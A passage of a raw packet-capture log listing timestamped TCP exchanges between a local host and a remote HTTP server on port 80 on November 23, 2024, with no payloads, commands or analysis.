Nov 23, 2024 17:44:38.274161100 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.274185896 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.274199009 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.274653912 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.274682045 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.274692059 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.274703979 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.274708033 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.274715900 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.274724960 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.274743080 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.275554895 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.275605917 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.275614977 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.275626898 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.275654078 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.275674105 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.275784016 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.275831938 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.276452065 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.276499987 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.276504040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.276516914 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.276545048 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.276556969 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.276762962 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.276813984 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.277400017 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.277416945 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.277429104 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.277443886 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.277453899 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.277486086 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.277491093 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.277528048 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.278300047 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.278341055 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.278353930 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.278362989 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.278374910 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.278393984 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.278589964 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.278641939 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.279222965 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.279287100 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.279297113 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.279336929 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.279361010 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.279377937 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.279577971 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.279628992 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.280158043 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.280181885 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.280193090 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.280206919 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.280225992 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.280257940 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.280298948 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.281090021 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.281111956 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.281124115 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.281141996 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.281153917 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.281398058 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.281451941 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.281969070 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.282017946 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.282017946 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.282032013 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.282063007 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.282077074 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.282120943 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.282166004 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.282866955 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.282910109 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.282912016 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.282927990 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.282959938 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.283025026 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.283071995 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.283787966 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.283839941 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.283876896 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.283921003 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.376784086 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.376863956 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.376874924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.376888037 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.376916885 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.376916885 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.376929045 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.376949072 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.377216101 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.377262115 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.377265930 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.377278090 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.377300978 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.377315998 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.377418995 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.377471924 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.378133059 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.378171921 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.378180981 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.378182888 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.378209114 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.378225088 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.378355026 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.378401995 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.379133940 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.379158974 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.379170895 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.379194975 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.379210949 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.379267931 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.379319906 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.379961014 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.380011082 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.380011082 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.380023003 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.380048990 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.380064964 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.380214930 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.380263090 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.380918980 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.380968094 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.381048918 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.381061077 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.381097078 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.381170988 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.381213903 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.381850958 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.381900072 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.381901026 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.381911039 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.381936073 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.381952047 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.382145882 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.382193089 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.382730007 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.382776022 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.382780075 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.382791996 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.382829905 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.382910013 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.382972956 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.383035898 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.383639097 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.383694887 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.383724928 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.383737087 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.383771896 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.383959055 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.384006023 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.384579897 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.384618044 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.384632111 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.384653091 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.384716034 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.384727955 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.384771109 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.385476112 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.385529995 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.385560036 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.385576963 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.385605097 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.385622025 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.385665894 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.385713100 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.386449099 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.386497021 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.386533976 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.386545897 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.386583090 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.424860954 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.424923897 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.424931049 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.425052881 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.425122023 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.425173998 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.425306082 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.425331116 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.425342083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.425355911 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.425374031 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.479072094 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.479211092 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.479223013 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.479243994 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.479263067 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.479290009 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.479443073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.479473114 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.479484081 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.479494095 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.479518890 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.479568958 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.479614019 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.480304956 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.480346918 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.480357885 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.480359077 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.480385065 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.480400085 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.480427980 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.480478048 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.481235027 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.481292963 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.481297970 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.481309891 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.481343985 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.481415033 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.481467962 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.481467962 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.482141018 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.482188940 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.482191086 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.482201099 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.482224941 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.482239962 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.482266903 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.482310057 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.483067989 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.483115911 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.483136892 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.483148098 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.483182907 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.483258963 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.483335018 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.484044075 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.484055042 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.484066010 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.484096050 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.484118938 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.484261990 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.484312057 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.484935999 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.484946966 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.484957933 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.484989882 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.485004902 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.485043049 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.485086918 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.485794067 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.485842943 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.485863924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.485876083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.485908985 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.485944986 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.485989094 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.486717939 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.486767054 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.486768961 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.486783981 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.486804008 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.486820936 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.486867905 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.486915112 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.487675905 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.487720966 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.487732887 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.487751007 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.487771988 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.487903118 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.487948895 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.488558054 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.488607883 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.488610029 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.488620996 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.488650084 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.488663912 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.488732100 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.488778114 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.489505053 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.489541054 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.489552975 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.489573002 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.489588976 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.489643097 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.489685059 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.490410089 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.490461111 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.490597010 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.490644932 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.585292101 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.585422039 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.585469007 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.585496902 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.585508108 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.585530043 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.585545063 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.585680008 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.585722923 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.585730076 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.585742950 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.585772991 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.585788012 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.585808039 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.585853100 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.586590052 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.586639881 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.586678028 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.586689949 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.586720943 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.586764097 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.586815119 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.587507963 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.587572098 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.587573051 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.587588072 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.587609053 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.587622881 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.587717056 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.587764978 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.588498116 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.588536024 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.588548899 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.588555098 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.588576078 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.588579893 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.588597059 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.588618994 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.589344978 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.589396000 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.589396954 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.589407921 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.589433908 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.589448929 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.589474916 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.589521885 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.590301991 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.590321064 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.590332985 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.590352058 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.590369940 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.590379000 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.590406895 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.590456963 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.591207027 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.591224909 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:38.591236115 CET	80	49745	185.215.113.206	192.168.2.4
